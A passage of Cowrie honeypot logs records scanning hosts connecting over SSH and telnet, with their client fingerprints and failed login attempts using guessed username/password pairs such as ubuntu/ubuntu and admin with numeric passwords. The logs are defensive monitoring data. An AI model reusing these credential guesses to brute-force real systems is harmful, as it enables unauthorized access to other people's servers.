sa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:00.584880Z","src_ip":"193.32.162.151","session":"a924157fd549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:01.005386Z","src_ip":"193.32.162.151","session":"a924157fd549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:02.128310Z","src_ip":"193.32.162.151","session":"a924157fd549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.45.132.18","src_port":53632,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1236d3442b3","protocol":"telnet","message":"New connection: 24.45.132.18:53632 (159.203.135.109:23) [session: e1236d3442b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:06.396833Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37204,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9115bd3b34d","protocol":"ssh","message":"New connection: 80.94.92.186:37204 (10.17.0.5:22) [session: f9115bd3b34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:09.725736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:09.876633Z","src_ip":"80.94.92.186","session":"f9115bd3b34d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:09.879973Z","src_ip":"80.94.92.186","session":"f9115bd3b34d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:10.653301Z","src_ip":"80.94.92.186","session":"f9115bd3b34d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:11.926910Z","src_ip":"80.94.92.186","session":"f9115bd3b34d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.368627309799194,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:19.765351Z","src_ip":"24.45.132.18","session":"e1236d3442b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.104","src_port":62392,"dst_ip":"159.203.135.109","dst_port":22,"session":"9082fe4ee2c7","protocol":"ssh","message":"New connection: 198.235.24.104:62392 (159.203.135.109:22) [session: 9082fe4ee2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:53.557451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:54.488444Z","src_ip":"198.235.24.104","session":"9082fe4ee2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:55.457121Z","src_ip":"198.235.24.104","session":"9082fe4ee2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:35:03.506448Z","src_ip":"198.235.24.104","session":"9082fe4ee2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48578,"dst_ip":"159.203.135.109","dst_port":22,"session":"8deea872ce4c","protocol":"ssh","message":"New connection: 195.178.110.218:48578 (159.203.135.109:22) [session: 8deea872ce4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:35:18.772133Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:35:18.849241Z","src_ip":"195.178.110.218","session":"8deea872ce4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38580,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf162aba79e9","protocol":"ssh","message":"New connection: 2.57.122.208:38580 (10.17.0.5:22) [session: cf162aba79e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:10.248981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:10.310155Z","src_ip":"2.57.122.208","session":"cf162aba79e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:10.382864Z","src_ip":"2.57.122.208","session":"cf162aba79e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:10.997232Z","src_ip":"2.57.122.208","session":"cf162aba79e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":44665,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1caea3e5c41","protocol":"ssh","message":"New connection: 2.57.121.112:44665 (10.17.0.5:22) [session: a1caea3e5c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:11.153996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:11.160076Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:11.264989Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030686","message":"login attempt [admin/030686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:11.755015Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:12.158783Z","src_ip":"2.57.122.208","session":"cf162aba79e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030679","message":"login attempt [admin/030679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:12.861607Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030482","message":"login attempt [admin/030482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:13.969636Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56000,"dst_ip":"159.203.135.109","dst_port":22,"session":"83938e1807fc","protocol":"ssh","message":"New connection: 193.32.162.151:56000 (159.203.135.109:22) [session: 83938e1807fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:14.309099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:14.313471Z","src_ip":"193.32.162.151","session":"83938e1807fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:14.422572Z","src_ip":"193.32.162.151","session":"83938e1807fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kryan","password":"kryan","message":"login attempt [kryan/kryan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:14.753044Z","src_ip":"193.32.162.151","session":"83938e1807fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030479","message":"login attempt [admin/030479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:15.078548Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:15.873813Z","src_ip":"193.32.162.151","session":"83938e1807fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03041974","message":"login attempt [admin/03041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:16.184225Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:36:17.292722Z","src_ip":"2.57.121.112","session":"a1caea3e5c41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39930,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b90692324d6","protocol":"ssh","message":"New connection: 80.94.92.186:39930 (10.17.0.5:22) [session: 9b90692324d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:10.300225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:10.760131Z","src_ip":"80.94.92.186","session":"9b90692324d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:10.818540Z","src_ip":"80.94.92.186","session":"9b90692324d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:12.034423Z","src_ip":"80.94.92.186","session":"9b90692324d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:13.191204Z","src_ip":"80.94.92.186","session":"9b90692324d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52274,"dst_ip":"159.203.135.109","dst_port":22,"session":"be308280f194","protocol":"ssh","message":"New connection: 195.178.110.218:52274 (159.203.135.109:22) [session: be308280f194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:51.951430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:51.956340Z","src_ip":"195.178.110.218","session":"be308280f194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:52.036326Z","src_ip":"195.178.110.218","session":"be308280f194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:52.276772Z","src_ip":"195.178.110.218","session":"be308280f194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:37:53.359297Z","src_ip":"195.178.110.218","session":"be308280f194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1fb08f095b0","protocol":"ssh","message":"New connection: 2.57.122.208:47122 (10.17.0.5:22) [session: c1fb08f095b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:25.564484Z"}
